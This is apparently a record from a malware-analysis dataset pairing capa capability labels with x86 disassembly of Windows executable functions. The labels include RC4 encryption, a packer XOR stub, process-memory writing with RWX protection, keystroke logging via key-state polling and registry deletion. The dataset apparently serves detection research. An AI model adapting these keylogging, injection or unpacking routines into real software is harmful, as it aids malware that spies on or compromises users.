joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462ef0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x597de8]
xor edx, edx
cmp eax, edx
jne 0x462f16
xor eax, eax
mov byte [eax + 0x597ce8], al
inc eax
cmp eax, 0x100
jl 0x462efe
mov dword [0x597de8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x597ce8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x462fa7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x462f7a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x462f48
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x462fb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x463003
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x462fea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4699b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x495b2e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.0046a2d0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x564e54
call fcn.00487a96
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x469a43
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00487a96
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x469a3c
push 0
mov ecx, eax
call fcn.00460b30
mov dword [esi + 0xc], eax
jmp 0x469a45
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x469a45
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x401310
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 8
push esp
push 0x40
push dword ss:[esp + 0x20]
push dword ss:[esp + 0x1c]
push dword ss:[esp + 0x1c]
notrack call dword ds:[sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x401336
add esp, 8
ret 0x10
push 0
push dword ss:[esp + 0x1c]
push dword ss:[esp + 0x1c]
push dword ss:[esp + 0x1c]
push dword ss:[esp + 0x1c]
notrack call dword ds:[sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [esp + 4], esp
push dword ss:[esp + 0x18]
push dword ss:[esp + 0x14]
push dword ss:[esp + 0x14]
notrack call dword ds:[sym.imp.KERNEL32.dll_VirtualProtectEx]
ret 0x10
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401110
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x40c038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0x8000000
push 3
push 0
push 1
push 0x80000000
push 0x44e518
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401156
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040183b
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0xc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [ebp - 0xc], 0
mov esi, eax
mov dword [ebp - 0x10], esi
je 0x401186
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040183b
mov esp, ebp
pop ebp
ret
push edi
push esi
call fcn.0040184a
mov edi, eax
add esp, 4
test edi, edi
jne 0x4011b0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040183b
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 8]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x4011f6
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 8], eax
jne 0x4011f6
mov ecx, 0x4d42
cmp word [edi], cx
jne 0x4011f6
cmp dword [edi + 2], eax
jne 0x4011f6
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040183b
mov esp, ebp
pop ebp
ret
push edi
call fcn.004018dc
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
xor eax, eax
pop ebx
call fcn.0040183b
mov esp, ebp
pop ebp
ret

Function at 0x401220
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x40c038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x44e30c]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x44e518
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4012a4
push esi
push 0
lea eax, [ebp - 8]
push eax
push dword [edi + 2]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
pop esi
je 0x401299
mov eax, dword [ebp - 8]
cmp eax, dword [edi + 2]
jne 0x401299
pop edi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040183b
mov esp, ebp
pop ebp
ret
push 0x44e518
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040183b
mov esp, ebp
pop ebp
ret
Function at 0x4012c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x40c038]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
push 0x7f00
push 0
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], 0x401420
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], edi
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x7f00
push 0
mov dword [ebp - 0x34], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0
mov dword [ebp - 0x30], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x28], str.ShowDib1
mov dword [ebp - 0x24], str.ShowDib1
call dword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
jne 0x401362
push 0x10
push str.ShowDib1
push str.Program_requires_Windows_NT_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040183b
mov esp, ebp
pop ebp
ret 0x10
push esi
push 0
push edi
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Show_DIB_1
push str.ShowDib1
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push dword [ebp + 0x14]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push str.ShowDib1
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [ebp - 0x4c], eax
push 0
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
je 0x401407
push ebx
mov ebx, dword [sym.imp.USER32.dll_TranslateAcceleratorW]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x4c]
push esi
call ebx
test eax, eax
jne 0x4013f6
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
jne 0x4013d4
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
pop esi
xor ecx, ebp
pop edi
call fcn.0040183b
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40463a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40c038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040308f
mov dword [ebp - 0x14], eax
cmp dword [0x44e22c], edi
jne 0x40472b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4046b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40480b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40480b
push 0x408e30
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40480b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x44e22c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x44e230], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x44e234], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x44e23c], eax
test eax, eax
je 0x404728
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x44e238], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404750
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x404743
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x404765
push 4
pop eax
jmp 0x40480d
cmp dword [ebp - 0x14], edi
je 0x404765
push dword [0x44e22c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40474a
mov eax, dword [0x44e238]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4047c3
cmp dword [0x44e23c], esi
je 0x4047c3
push eax
call ebx
push dword [0x44e23c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4047c3
test eax, eax
je 0x4047c3
call ecx
test eax, eax
je 0x4047b8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4047b8
test byte [ebp - 8], 1
jne 0x4047c3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4047f3
mov eax, dword [0x44e230]
cmp eax, esi
je 0x4047f0
push eax
call ebx
test eax, eax
je 0x4047f0
call eax
mov edi, eax
test edi, edi
je 0x4047f0
mov eax, dword [0x44e234]
cmp eax, esi
je 0x4047f0
push eax
call ebx
test eax, eax
je 0x4047f0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x44e22c]
call ebx
test eax, eax
je 0x40480b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40480d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040183b
leave
ret
Function at 0x401146
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
mov bl, byte [esp + 8]
test bl, bl
jne 0x401153
xor al, al
pop ebx
ret
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push edi
cmp bl, 0x41
jb 0x401192
cmp bl, 0x5a
ja 0x401192
push 0x10
call esi
mov edi, 0x8000
test edi, eax
jne 0x40117a
push 0x14
call esi
test al, 1
je 0x40118a
push 0x10
call esi
test edi, eax
je 0x401192
push 0x14
call esi
test al, 1
je 0x401192
movsx eax, bl
add eax, 0x20
jmp 0x4011f8
push ebp
mov ebp, dword [sym.imp.USER32.dll_MapVirtualKeyA]
movzx ebx, bl
push 2
push ebx
call ebp
movsx eax, al
push eax
mov edi, 0x4647b0
push edi
call fcn.00452d30
pop ecx
pop ecx
test eax, eax
je 0x4011de
push 0x10
call esi
test eax, 0x8000
je 0x4011de
push 2
push ebx
call ebp
movsx eax, al
push eax
push edi
call fcn.00452d30
pop ecx
pop ecx
mov ecx, 0x4647c8
sub ecx, edi
mov al, byte [eax + ecx]
jmp 0x4011f7
mov al, byte [esp + 0x14]
lea ecx, [eax - 0x41]
cmp cl, 0x19
jbe 0x4011f7
lea ecx, [eax - 0x30]
cmp cl, 9
jbe 0x4011f7
push 2
push ebx
call ebp
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4011fc
Capabilities:
Delete registry key
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x47e5d0]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
mov ecx, dword [ebp + 0xa4]
push esi
mov esi, dword [ebp + 0xa8]
push edi
xor edi, edi
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], edi
cmp eax, edi
jne 0x401242
mov eax, reloc.ODBC32.dll_SQLAllocConnect
lea edx, [ebp - 0x70]
push edx
push 0x2001f
push edi
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40132a
push ebx
push 0x7f
mov byte [ebp - 0x6c], al
lea eax, [ebp - 0x6b]
push edi
push eax
call fcn.00452e00
add esp, 0xc
cmp byte [esi], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x7c], edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, 0x4648e0
jne 0x4012e4
cmp dword [ebp - 0x7c], 0
jne 0x4012e4
push 0x7f
lea eax, [ebp - 0x6c]
push eax
push 0
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov dword [ebp - 0x7c], eax
test eax, eax
jne 0x4012dc
cmp byte [ebp - 0x6c], al
je 0x4012dc
push dword [ebp - 0x78]
lea eax, [ebp + 0x14]
push eax
call edi
push ebx
lea eax, [ebp + 0x14]
push eax
call esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x14]
push eax
call esi
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x4012d1
mov eax, reloc.ODBC32.dll_SQLAllocConnect
lea ecx, [ebp + 0x14]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [ebp - 0x74]
cmp byte [eax], 0
je 0x401288
push dword [ebp - 0x74]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x78]
lea eax, [ebp + 0x14]
push eax
call edi
push ebx
lea eax, [ebp + 0x14]
push eax
call esi
push dword [ebp - 0x74]
lea eax, [ebp + 0x14]
push eax
call esi
mov eax, dword [ebp - 0x80]
pop ebx
test eax, eax
jne 0x401316
mov eax, reloc.ODBC32.dll_SQLAllocConnect
lea ecx, [ebp + 0x14]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x94]
pop edi
xor ecx, ebp
pop esi
call fcn.00452dee
add ebp, 0x98
leave
ret
Function at 0x401341
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x47e5d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 0x103
xor ebx, ebx
push edi
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call fcn.00452e00
add esp, 0xc
cmp esi, ebx
je 0x401380
cmp byte [esi], bl
jne 0x401396
push edi
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, ebx
je 0x40139e
cmp byte [esi], bl
jne 0x4013a4
lea esi, [ebp - 0x108]
push ebx
push 0x80
push 3
push ebx
push 3
push SQLAllocEnv
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
lea eax, [edi + 1]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00452dee
leave
ret

Function at 0x40225d
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
mov eax, dword [0x47e5d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0x3ff
mov dword [ebp - 0x608], eax
lea eax, [ebp - 0x603]
push ebx
push eax
mov byte [ebp - 0x604], bl
call fcn.00452e00
mov esi, 0xff
push esi
lea eax, [ebp - 0x103]
push ebx
push eax
mov byte [ebp - 0x104], bl
call fcn.00452e00
push esi
lea eax, [ebp - 0x203]
push ebx
push eax
mov byte [ebp - 0x204], bl
call fcn.00452e00
add esp, 0x24
cmp edi, ebx
je 0x402383
cmp byte [edi], bl
je 0x402383
cmp byte [0x4804c1], bl
je 0x402360
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x204]
push eax
push edi
call fcn.00401aaa
push 0x481858
cmp dword [ebp - 0x608], ebx
je 0x402332
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp - 0x608]
push 0x464a50
push eax
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push dword [ebp - 0x608]
call fcn.0040109c
pop ecx
jmp 0x402385
push 0x3ff
lea eax, [ebp - 0x604]
push eax
push 0x464a50
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x604]
push eax
jmp 0x40232a
push edi
cmp dword [ebp - 0x608], ebx
je 0x40237c
push dword [ebp + 0x10]
push dword [ebp - 0x608]
call fcn.0044def5
add esp, 0xc
jmp 0x402385
call fcn.0044dcf9
jmp 0x40232f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00452dee
leave
ret 0xc
Function at 0x40682d
Capabilities:
Read .ini file

Disassembly:
push ebp
lea ebp, [esp - 0x58c]
sub esp, 0x60c
mov eax, dword [0x47e5d0]
xor eax, ebp
mov dword [ebp + 0x588], eax
push ebx
push esi
mov esi, dword [ebp + 0x594]
push edi
mov edi, 0xff
push edi
xor ebx, ebx
lea eax, [ebp + 0x389]
push ebx
push eax
mov byte [ebp + 0x388], 0
call fcn.00452e00
push edi
lea eax, [ebp + 0x489]
push ebx
push eax
mov byte [ebp + 0x488], bl
call fcn.00452e00
mov edi, 0x3ff
push edi
lea eax, [ebp - 0x77]
push ebx
push eax
mov byte [ebp - 0x78], bl
call fcn.00452e00
add esp, 0x24
cmp esi, ebx
je 0x406944
cmp byte [esi], bl
je 0x406944
cmp byte [0x4804c1], bl
je 0x406934
lea eax, [ebp + 0x388]
push eax
lea eax, [ebp + 0x488]
push eax
push esi
call fcn.00401aaa
mov esi, 0x481858
push esi
push ebx
lea eax, [ebp + 0x388]
push eax
lea eax, [ebp + 0x488]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
mov dword [ebp - 0x7c], eax
push edi
lea eax, [ebp - 0x78]
push eax
push 0x464a50
lea eax, [ebp + 0x388]
push eax
lea eax, [ebp + 0x488]
push eax
call ebx
push esi
push edi
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x78]
push eax
push 0x464a50
push 0
lea eax, [ebp + 0x488]
push eax
call ebx
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x7c], ecx
jge 0x406930
cmp dword [ebp - 0x80], ecx
jge 0x406930
cmp eax, ecx
jl 0x406944
mov eax, ecx
jmp 0x406946
push esi
push ebx
push ebx
push ebx
push 1
call fcn.0044ad45
add esp, 0x14
jmp 0x406946
xor eax, eax
mov ecx, dword [ebp + 0x588]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00452dee
add ebp, 0x58c
leave
ret 4
Function at 0x40bac9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x40bb03
cmp edi, 0xffffffff
je 0x40bb03
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
xor eax, eax
inc eax
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
leave
ret 8

Function at 0x40bb08
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
je 0x40bb77
cmp dword [ebp + 8], 0xffffffff
je 0x40bb77
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push edi
push edi
push dword [ebp + 8]
mov byte [ebp + 0xf], bl
call esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
inc eax
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xf]
push eax
push dword [ebp + 8]
call edi
sar ebx, 8
push 2
mov byte [ebp + 0xf], bl
xor ebx, ebx
push ebx
push ebx
push dword [ebp + 8]
call esi
push ebx
xor eax, eax
inc eax
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xf]
push eax
push dword [ebp + 8]
call edi
pop esi
pop ebx
pop edi
leave
ret 8

Function at 0x40bbb2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x40bbec
cmp edi, 0xffffffff
je 0x40bbec
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 8
pop eax
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
leave
ret 0xc

Function at 0x40bbf1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x40bc30
cmp edi, 0xffffffff
je 0x40bc30
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
leave
ret 8